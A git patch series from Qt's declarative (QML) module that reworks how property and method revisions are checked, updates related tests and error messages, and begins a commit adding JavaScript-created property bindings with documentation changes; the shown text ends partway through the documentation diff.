    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index 1c2aec9..cbbf2b9 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -149,8 +149,8 @@ QDeclarativeObjectScriptClass::queryProperty(Object *object, const Identifier &n
     
     QScriptClass::QueryFlags
     QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &name,
    -                                    QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
    -                                    QueryHints hints)
    +                                             QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
    +                                             QueryHints hints)
     {
         Q_UNUSED(flags);
         lastData = 0;
    @@ -165,19 +165,10 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam
     
         QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
         lastData = QDeclarativePropertyCache::property(engine, obj, name, local);
    -
    -    if (lastData && lastData->revision > 0 && (hints & ImplicitObject)) {
    -        QDeclarativeData *data = QDeclarativeData::get(obj);
    -        if (data) {
    -            if (!data->type) {
    -                lastData = 0;
    -            } else if (lastData->flags & QDeclarativePropertyCache::Data::IsFunction) {
    -                if (!data->type->isMethodAvailable(lastData->coreIndex, lastData->revision))
    -                    lastData = 0;
    -            } else if (!data->type->isPropertyAvailable(lastData->coreIndex, lastData->revision)) {
    -                lastData = 0;
    -            }
    -        }
    +    if ((hints & ImplicitObject) && lastData && lastData->revision != 0) {
    +        QDeclarativeData *ddata = QDeclarativeData::get(obj);
    +        if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData))
    +            return 0;
         }
     
         if (lastData)
    diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp
    index da4016e..35bb0f1 100644
    --- a/src/declarative/qml/qdeclarativeparser.cpp
    +++ b/src/declarative/qml/qdeclarativeparser.cpp
    @@ -66,13 +66,14 @@ using namespace QDeclarativeJS;
     using namespace QDeclarativeParser;
     
     QDeclarativeParser::Object::Object()
    -: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), defaultProperty(0), parserStatusCast(-1)
    +: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), synthCache(0), defaultProperty(0), parserStatusCast(-1)
     {
     }
     
     QDeclarativeParser::Object::~Object() 
     { 
         if (defaultProperty) defaultProperty->release();
    +    if (synthCache) synthCache->release();
         foreach(Property *prop, properties)
             prop->release();
         foreach(Property *prop, valueProperties)
    diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h
    index 6ef2811..8f41a91 100644
    --- a/src/declarative/qml/qdeclarativeparser_p.h
    +++ b/src/declarative/qml/qdeclarativeparser_p.h
    @@ -71,6 +71,7 @@ QT_BEGIN_NAMESPACE
     
     QT_MODULE(Declarative)
     
    +class QDeclarativePropertyCache;
     namespace QDeclarativeJS { namespace AST { class Node; } }
     
     /*
    @@ -154,6 +155,7 @@ namespace QDeclarativeParser
             QAbstractDynamicMetaObject extObject;
             QByteArray metadata; // Generated by compiler
             QByteArray synthdata; // Generated by compiler
    +        QDeclarativePropertyCache *synthCache; // Generated by compiler
     
             Property *getDefaultProperty();
             Property *getProperty(const QByteArray &name, bool create=true);
    diff --git a/src/declarative/qml/qdeclarativepropertycache.cpp b/src/declarative/qml/qdeclarativepropertycache.cpp
    index 5397694..6a39a65 100644
    --- a/src/declarative/qml/qdeclarativepropertycache.cpp
    +++ b/src/declarative/qml/qdeclarativepropertycache.cpp
    @@ -218,6 +218,7 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
         cache->methodIndexCache = methodIndexCache;
         cache->stringCache = stringCache;
         cache->identifierCache = identifierCache;
    +    cache->allowedRevisionCache = allowedRevisionCache;
     
         for (int ii = 0; ii < indexCache.count(); ++ii) {
             if (indexCache.at(ii)) indexCache.at(ii)->addref();
    @@ -236,6 +237,17 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
     void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject, 
                                            Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
     {
    +    append(engine, metaObject, -1, propertyFlags, methodFlags, signalFlags);
    +}
    +
    +void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject, 
    +                                       int revision, 
    +                                       Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
    +{
    +    Q_UNUSED(revision);
    +
    +    allowedRevisionCache.append(0);
    +
         QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
         int methodCount = metaObject->methodCount();
         // 3 to block the destroyed signal and the deleteLater() slot
    @@ -262,11 +274,15 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
             else if (m.methodType() == QMetaMethod::Signal)
                 data->flags |= signalFlags;
     
    +        data->metaObjectOffset = allowedRevisionCache.count() - 1;
    +
             if (stringCache.contains(methodName)) {
                 RData *old = stringCache[methodName];
                 // We only overload methods in the same class, exactly like C++
                 if (old->flags & Data::IsFunction && old->coreIndex >= methodOffset)
                     data->relatedIndex = old->coreIndex;
    +            data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
    +            data->overrideIndex = old->coreIndex;
                 stringCache[methodName]->release();
                 identifierCache[data->identifier.identifier]->release();
             }
    @@ -295,7 +311,12 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
             data->load(p, engine);
             data->flags |= propertyFlags;
     
    +        data->metaObjectOffset = allowedRevisionCache.count() - 1;
    +
             if (stringCache.contains(propName)) {
    +            RData *old = stringCache[propName];
    +            data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
    +            data->overrideIndex = old->coreIndex;
                 stringCache[propName]->release();
                 identifierCache[data->identifier.identifier]->release();
             }
    diff --git a/src/declarative/qml/qdeclarativepropertycache_p.h b/src/declarative/qml/qdeclarativepropertycache_p.h
    index 2f02c98..eeeff1a 100644
    --- a/src/declarative/qml/qdeclarativepropertycache_p.h
    +++ b/src/declarative/qml/qdeclarativepropertycache_p.h
    @@ -110,7 +110,10 @@ public:
                 int notifyIndex; // When !IsFunction
                 int relatedIndex; // When IsFunction
             };
    -        int revision;
    +        uint overrideIndexIsProperty : 1;
    +        int overrideIndex : 31;
    +        int revision; 
    +        int metaObjectOffset;
     
             static Flags flagsForProperty(const QMetaProperty &, QDeclarativeEngine *engine = 0);
             void load(const QMetaProperty &, QDeclarativeEngine *engine = 0);
    @@ -132,8 +135,9 @@ public:
         QDeclarativePropertyCache *copy() const;
         void append(QDeclarativeEngine *, const QMetaObject *, Data::Flag propertyFlags = Data::NoFlags,
                     Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
    +    void append(QDeclarativeEngine *, const QMetaObject *, int revision, Data::Flag propertyFlags = Data::NoFlags,
    +                Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
     
    -    static QDeclarativePropertyCache *create(QDeclarativeEngine *, const QMetaObject *);
         static Data create(const QMetaObject *, const QString &);
     
         inline Data *property(const QScriptDeclarativeClass::Identifier &id) const;
    @@ -142,13 +146,19 @@ public:
         Data *method(int) const;
         QStringList propertyNames() const;
     
    +    inline Data *overrideData(Data *) const;
    +    inline bool isAllowedInRevision(Data *) const;
    +
         inline QDeclarativeEngine *qmlEngine() const;
         static Data *property(QDeclarativeEngine *, QObject *, const QScriptDeclarativeClass::Identifier &, Data &);
         static Data *property(QDeclarativeEngine *, QObject *, const QString &, Data &);
    +
     protected:
         virtual void clear();
     
     private:
    +    friend class QDeclarativeEnginePrivate;
    +
         struct RData : public Data, public QDeclarativeRefCount { 
             QScriptDeclarativeClass::PersistentIdentifier identifier;
         };
    @@ -156,6 +166,7 @@ private:
         typedef QVector IndexCache;
         typedef QHash StringCache;
         typedef QHash IdentifierCache;
    +    typedef QVector AllowedRevisionCache;
     
         void updateRecur(QDeclarativeEngine *, const QMetaObject *);
     
    @@ -164,11 +175,13 @@ private:
         IndexCache methodIndexCache;
         StringCache stringCache;
         IdentifierCache identifierCache;
    +    AllowedRevisionCache allowedRevisionCache;
     };
     Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePropertyCache::Data::Flags);
       
     QDeclarativePropertyCache::Data::Data()
    -: flags(0), propType(0), coreIndex(-1), notifyIndex(-1) 
    +: flags(0), propType(0), coreIndex(-1), notifyIndex(-1), overrideIndexIsProperty(false), overrideIndex(-1),
    +  revision(0), metaObjectOffset(-1)
     {
     }
     
    @@ -182,6 +195,18 @@ bool QDeclarativePropertyCache::Data::operator==(const QDeclarativePropertyCache
     }
     
     QDeclarativePropertyCache::Data *
    +QDeclarativePropertyCache::overrideData(Data *data) const
    +{
    +    if (data->overrideIndex < 0)
    +        return 0;
    +
    +    if (data->overrideIndexIsProperty)
    +        return indexCache.at(data->overrideIndex);
    +    else
    +        return methodIndexCache.at(data->overrideIndex);
    +}
    +
    +QDeclarativePropertyCache::Data *
     QDeclarativePropertyCache::property(const QScriptDeclarativeClass::Identifier &id) const 
     {
         return identifierCache.value(id);
    @@ -199,6 +224,12 @@ bool QDeclarativePropertyCache::ValueTypeData::operator==(const ValueTypeData &o
                valueTypePropType == o.valueTypePropType; 
     }
     
    +bool QDeclarativePropertyCache::isAllowedInRevision(Data *data) const
    +{
    +    return (data->metaObjectOffset == -1 && data->revision == 0) ||
    +           (allowedRevisionCache[data->metaObjectOffset] >= data->revision);
    +}
    +
     QDeclarativeEngine *QDeclarativePropertyCache::qmlEngine() const
     {
         return engine;
    diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp
    index 302cdcc..36cdde9 100644
    --- a/src/declarative/qml/qdeclarativetypeloader.cpp
    +++ b/src/declarative/qml/qdeclarativetypeloader.cpp
    @@ -1005,6 +1005,8 @@ void QDeclarativeTypeData::resolveTypes()
             }
     
             if (ref.type) {
    +            ref.majorVersion = majorVersion;
    +            ref.minorVersion = minorVersion;
                 foreach (QDeclarativeParser::Object *obj, parserRef->refObjects) {
                    // store namespace for DOM
                    obj->majorVersion = majorVersion;
    diff --git a/src/declarative/qml/qdeclarativetypeloader_p.h b/src/declarative/qml/qdeclarativetypeloader_p.h
    index beee358..6938892 100644
    --- a/src/declarative/qml/qdeclarativetypeloader_p.h
    +++ b/src/declarative/qml/qdeclarativetypeloader_p.h
    @@ -215,10 +215,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeTypeData : public QDeclarativeDataBlob
     public:
         struct TypeReference
         {
    -        TypeReference() : type(0), typeData(0) {}
    +        TypeReference() : type(0), majorVersion(0), minorVersion(0), typeData(0) {}
     
             QDeclarativeParser::Location location;
             QDeclarativeType *type;
    +        int majorVersion;
    +        int minorVersion;
             QDeclarativeTypeData *typeData;
         };
     
    diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
    index f3e7809..657b10d 100644
    --- a/src/declarative/qml/qdeclarativevme.cpp
    +++ b/src/declarative/qml/qdeclarativevme.cpp
    @@ -324,10 +324,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack,
     
                     (void)new QDeclarativeVMEMetaObject(target, &mo, data, comp);
     
    -                QDeclarativeData *ddata = QDeclarativeData::get(target, true);
    -                if (ddata->propertyCache) ddata->propertyCache->release();
    -                ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
    -                ddata->propertyCache->addref();
    +                if (instr.storeMeta.propertyCache != -1) {
    +                    QDeclarativeData *ddata = QDeclarativeData::get(target, true);
    +                    if (ddata->propertyCache) ddata->propertyCache->release();
    +                    ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
    +                    ddata->propertyCache->addref();
    +                }
                 }
                 break;
     
    @@ -978,6 +980,11 @@ QDeclarativeCompiledData::TypeReference::createInstance(QDeclarativeContextData
             ddata->ownMemory = false;
             QObjectPrivate::get(rv)->declarativeData = ddata;
     
    +        if (typePropertyCache && !ddata->propertyCache) {
    +            ddata->propertyCache = typePropertyCache;
    +            ddata->propertyCache->addref();
    +        }
    +
             return rv;
         } else {
             Q_ASSERT(component);
    diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp
    index 4782852..6126b32 100644
    --- a/src/script/bridge/qscriptdeclarativeclass.cpp
    +++ b/src/script/bridge/qscriptdeclarativeclass.cpp
    @@ -179,6 +179,11 @@ QScriptDeclarativeClass::PersistentIdentifier::operator=(const PersistentIdentif
         return *this;
     }
     
    +QString QScriptDeclarativeClass::PersistentIdentifier::toString() const
    +{
    +    return ((JSC::Identifier &)d).ustring();
    +}
    +
     QScriptDeclarativeClass::QScriptDeclarativeClass(QScriptEngine *engine)
     : d_ptr(new QScriptDeclarativeClassPrivate)
     {
    diff --git a/src/script/bridge/qscriptdeclarativeclass_p.h b/src/script/bridge/qscriptdeclarativeclass_p.h
    index 3123b3c..e4c18f5 100644
    --- a/src/script/bridge/qscriptdeclarativeclass_p.h
    +++ b/src/script/bridge/qscriptdeclarativeclass_p.h
    @@ -107,6 +107,7 @@ public:
             PersistentIdentifier(const PersistentIdentifier &other);
             PersistentIdentifier &operator=(const PersistentIdentifier &other);
     
    +        QString toString() const;
         private:
             friend class QScriptDeclarativeClass;
             PersistentIdentifier(QScriptEnginePrivate *e) : identifier(0), engine(e), d(0) {}
    diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    index e636383..447b57b 100644
    --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    @@ -979,19 +979,19 @@ void tst_QDeclarativeItem::testQtQuick11Attributes_data()
     
         QTest::newRow("implicitWidth") << "implicitWidth: 100"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Property \"implicitWidth\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.implicitWidth\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("implicitHeight") << "implicitHeight: 100"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Property \"implicitHeight\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.implicitHeight\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Signal \"onImplicitWidthChanged\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.onImplicitWidthChanged\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Signal \"onImplicitHeightChanged\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n";
     }
     
     
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
    new file mode 100644
    index 0000000..64acbd1
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
    @@ -0,0 +1,6 @@
    +import Test 1.0
    +
    +MyRevisionedLegalOverload
    +{
    +}
    +
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
    new file mode 100644
    index 0000000..e9b449d
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
    @@ -0,0 +1 @@
    +3:1:Type Test/MyRevisionedIllegalOverload 1.0 contains an illegal property "propA".  This is an error in the type's implementation.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
    new file mode 100644
    index 0000000..612bcfe
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
    @@ -0,0 +1,7 @@
    +import Test 1.0
    +
    +MyRevisionedIllegalOverload
    +{
    +}
    +
    +
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
    index 6ad6bfa..29342dc 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
    @@ -1 +1 @@
    -7:5:Property "prop2" not available in Test/MyRevisionedClass 1.0
    +8:5:"MyRevisionedClass.prop2" is not available in Test 1.0.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
    index 4662d5e..4b37ed3 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
    @@ -1,3 +1,4 @@
    +// Check that a property in a later revision (prop2) cannot be assigned
     import QtQuick 1.0
     import Test 1.0
     
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
    index 92ccd9a..57b5764 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
    @@ -1 +1 @@
    -6:5:Signal "onSignal2" not available in Test/MyRevisionedClass 1.0
    +6:5:"MyRevisionedClass.onSignal2" is not available in Test 1.0.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
    index b3c33c4..45364a0 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
    @@ -1 +1 @@
    -9:5:Property "propD" not available in Test/MyRevisionedClass 1.1
    +9:5:"MyRevisionedClass.propD" is not available in Test 1.1.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml
    deleted file mode 100644
    index c4974cf..0000000
    --- a/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml
    +++ /dev/null
    @@ -1,8 +0,0 @@
    -import QtQuick 1.0
    -import Test 1.0
    -
    -MyRevisionedClass
    -{
    -    property real prop2: 10
    -    prop1: 1
    -}
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml
    deleted file mode 100644
    index b5de4a3..0000000
    --- a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml
    +++ /dev/null
    @@ -1,10 +0,0 @@
    -import QtQuick 1.0
    -import Test 1.0
    -
    -MyRevisionedSubclass
    -{
    -    property real prop4: 10
    -    property real prop2: 10
    -    prop1: 5
    -    prop3: 7
    -}
    diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
    index 5e91e95..69cba76 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
    +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
    @@ -54,6 +54,8 @@ void registerTypes()
         qmlRegisterType();
         qmlRegisterType("Test",1,0,"MyRevisionedClass");
         qmlRegisterType("Test",1,1,"MyRevisionedClass");
    +    qmlRegisterType("Test",1,0,"MyRevisionedIllegalOverload");
    +    qmlRegisterType("Test",1,0,"MyRevisionedLegalOverload");
     
         // Register the uncreatable base class
         qmlRegisterRevision("Test",1,1);
    diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
    index 4f44f81..12424d0 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h
    +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
    @@ -640,6 +640,18 @@ protected:
         qreal m_pb;
     };
     
    +class MyRevisionedIllegalOverload : public MyRevisionedBaseClassRegistered
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal propA READ propA WRITE setPropA REVISION 1);
    +};
    +
    +class MyRevisionedLegalOverload : public MyRevisionedBaseClassRegistered
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal propB READ propB WRITE setPropB REVISION 1);
    +};
    +
     class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
     {
         Q_OBJECT
    diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
    index 67b9d49..f3f41a9 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
    +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
    @@ -154,6 +154,7 @@ private slots:
         void variantNotify();
     
         void revisions();
    +    void revisionOverloads();
     
         // regression tests for crashes
         void crash1();
    @@ -1897,18 +1898,6 @@ void tst_qdeclarativelanguage::variantNotify()
     void tst_qdeclarativelanguage::revisions()
     {
         {
    -        QDeclarativeComponent component(&engine, TEST_FILE("revisions10.qml"));
    -
    -        VERIFY_ERRORS(0);
    -        MyRevisionedClass *object = qobject_cast(component.create());
    -        QVERIFY(object != 0);
    -
    -        QCOMPARE(object->prop2(), 2.0);
    -        QCOMPARE(object->property("prop2").toReal(), 10.0);
    -
    -        delete object;
    -    }
    -    {
             QDeclarativeComponent component(&engine, TEST_FILE("revisions11.qml"));
     
             VERIFY_ERRORS(0);
    @@ -1920,21 +1909,6 @@ void tst_qdeclarativelanguage::revisions()
             delete object;
         }
         {
    -        QDeclarativeComponent component(&engine, TEST_FILE("revisionssub10.qml"));
    -
    -        VERIFY_ERRORS(0);
    -        MyRevisionedSubclass *object = qobject_cast(component.create());
    -        QVERIFY(object != 0);
    -
    -        QCOMPARE(object->prop2(), 2.0);
    -        QCOMPARE(object->property("prop2").toReal(), 10.0);
    -
    -        QCOMPARE(object->prop4(), 4.0);
    -        QCOMPARE(object->property("prop4").toReal(), 10.0);
    -
    -        delete object;
    -    }
    -    {
             QDeclarativeEngine myEngine;
             QDeclarativeComponent component(&myEngine, TEST_FILE("revisionssub11.qml"));
     
    @@ -1950,10 +1924,7 @@ void tst_qdeclarativelanguage::revisions()
             delete object;
         }
         {
    -        // If this is uncommented it will work
    -        // qmlRegisterType("Test",1,1,"MySubclass");
             QDeclarativeComponent component(&engine, TEST_FILE("versionedbase.qml"));
    -        QEXPECT_FAIL("", "Class version 1.0 with base class version 1.1 registered", Abort);
             VERIFY_ERRORS(0);
             MySubclass *object = qobject_cast(component.create());
             QVERIFY(object != 0);
    @@ -1965,6 +1936,20 @@ void tst_qdeclarativelanguage::revisions()
         }
     }
     
    +void tst_qdeclarativelanguage::revisionOverloads()
    +{
    +    {
    +    QDeclarativeComponent component(&engine, TEST_FILE("allowedRevisionOverloads.qml"));
    +    VERIFY_ERRORS(0);
    +    }
    +    {
    +    QDeclarativeComponent component(&engine, TEST_FILE("disallowedRevisionOverloads.qml"));
    +    QEXPECT_FAIL("", "QTBUG-13849", Abort);
    +    QVERIFY(0);
    +    VERIFY_ERRORS("disallowedRevisionOverloads.errors.txt");
    +    }
    +}
    +
     void tst_qdeclarativelanguage::initTestCase()
     {
         registerTypes();
    diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
    index d94ebbe..6b840a3 100644
    --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
    +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
    @@ -633,11 +633,11 @@ void tst_QDeclarativeRepeater::testQtQuick11Attributes_data()
     
         QTest::newRow("itemAdded") << "onItemAdded: count"
                 << "QDeclarativeComponent: Component is not ready"
    -            << ":1 Signal \"onItemAdded\" not available in QtQuick/Repeater 1.0\n";
    +            << ":1 \"Repeater.onItemAdded\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("itemRemoved") << "onItemRemoved: count"
                 << "QDeclarativeComponent: Component is not ready"
    -            << ":1 Signal \"onItemRemoved\" not available in QtQuick/Repeater 1.0\n";
    +            << ":1 \"Repeater.onItemRemoved\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)"
                 << ":1: ReferenceError: Can't find variable: itemAt"
    -- 
    cgit v0.12
    
    
    From 43b8305367156c1ceb09eb4a056bdae3f325b5eb Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Thu, 27 Jan 2011 15:34:34 +1000
    Subject: Allow property bindings to be easily created from JavaScript
    
    Properties can now be assigned a function that returns the binding
    value.
    
    Task-number: QTBUG-14964
    Reviewed-by: Aaron Kennedy
    ---
     doc/src/declarative/javascriptblocks.qdoc          |  42 ++-------
     doc/src/declarative/propertybinding.qdoc           | 103 +++++++++++++++++----
     src/declarative/qml/qdeclarativebinding.cpp        |  20 ++++
     src/declarative/qml/qdeclarativebinding_p.h        |   9 ++
     src/declarative/qml/qdeclarativeexpression.cpp     |  41 +++++++-
     src/declarative/qml/qdeclarativeexpression.h       |   3 +
     src/declarative/qml/qdeclarativeexpression_p.h     |  12 +++
     .../qml/qdeclarativeobjectscriptclass.cpp          |  19 +++-
     src/declarative/qml/qdeclarativeproperty.cpp       |  25 +++--
     src/declarative/qml/qdeclarativeproperty_p.h       |   5 +
     .../qml/qdeclarativevaluetypescriptclass.cpp       |  32 ++++++-
     .../data/functionAssignment.2.qml                  |  66 ++++++++++++-
     .../data/functionAssignment.js                     |  17 ++++
     .../tst_qdeclarativeecmascript.cpp                 |  64 ++++++++++---
     14 files changed, 375 insertions(+), 83 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
    
    diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
    index d221205..65877f9 100644
    --- a/doc/src/declarative/javascriptblocks.qdoc
    +++ b/doc/src/declarative/javascriptblocks.qdoc
    @@ -200,37 +200,12 @@ Likewise, the \l {Component::onDestruction} attached property is triggered on
     component destruction.
     
     
    -\section1 Property Assignment vs Property Binding
    +\section1 JavaScript and Property Binding
     
    -When working with both QML and JavaScript, it is important to differentiate between
    -QML \l {Property Binding} and JavaScript value assignment. In QML, a property 
    -binding is created using the \e {property: value} syntax:
    +Property bindings can be created in JavaScript by assigning the property with a \c function
    +that returns the required value.
     
    -\code
    -Rectangle {
    -    width: otherItem.width
    -}
    -\endcode
    -
    -The \c width of the above \l Rectangle is updated whenever \c otherItem.width changes. On the other
    -hand, take the following JavaScript code snippet, that runs when the \l Rectangle is created:
    -
    -\code
    -Rectangle {
    -
    -    Component.onCompleted: {
    -        width = otherItem.width;
    -    }
    -}
    -\endcode
    -
    -The \c width of this \l Rectangle is \e assigned the value of \c otherItem.width using the
    -\e {property = value} syntax in JavaScript. Unlike the QML \e {property: value} syntax, this
    -does not invoke QML property binding; the \c rectangle.width property is set to the value
    -of \c otherItem.width at the time of the assignment and will not be updated if that value
    -changes.
    -
    -See \l {Property Binding} for more information.
    +See \l {Binding Properties from JavaScript} for details.
     
     
     \section1 Receiving QML Signals in JavaScript
    @@ -315,10 +290,13 @@ This restriction exists as the QML environment is not yet fully established.
     To run code after the environment setup has completed, refer to
     \l {Running JavaScript at Startup}.
     
    -\o The value of \c this is currently undefined in QML
    +\o The value of \c this is currently undefined in QML in the majority of contexts
    +
    +The \c this keyword is supported when \l {Binding Properties from JavaScript}
    +{binding properties from JavaScript}. In all other situations, the value of
    +\c this is undefined in QML.
     
    -The value of \c this is undefined in QML.  To refer to any element, provide
    -an \c id.  For example:
    +To refer to any element, provide an \c id.  For example:
     
     \qml
     Item {
    diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
    index 2fa95d4..379a4ec 100644
    --- a/doc/src/declarative/propertybinding.qdoc
    +++ b/doc/src/declarative/propertybinding.qdoc
    @@ -95,44 +95,109 @@ Rectangle {
     \endcode
     
     
    -\section1 Effects of Property Assignment in JavaScript
    +\section1 Binding Properties from JavaScript
     
    -Assigning a property value from JavaScript does \e not create a property binding.
    -For example:
    +When working with both QML and JavaScript, it is important to differentiate between
    +\l {Property Binding} syntax in QML and simple \e {property assignment} in JavaScript. Take
    +the example below, which uses property binding to ensure the item's \c height is always twice
    +its \c width:
    +
    +\qml
    +Item {
    +    width: 100
    +    height: width * 2
    +}
    +\endqml
    +
    +On the other hand, take the following JavaScript code snippet, which \e assigns, rather
    +than \e binds, the value of the \c height property:
     
     \code
    -Rectangle {
    +Item {
    +    width: 100
     
         Component.onCompleted: {
    -        width = otherItem.width;
    +        height = width * 2  // if width changes later, height is not updated!
         }
     }
     \endcode
     
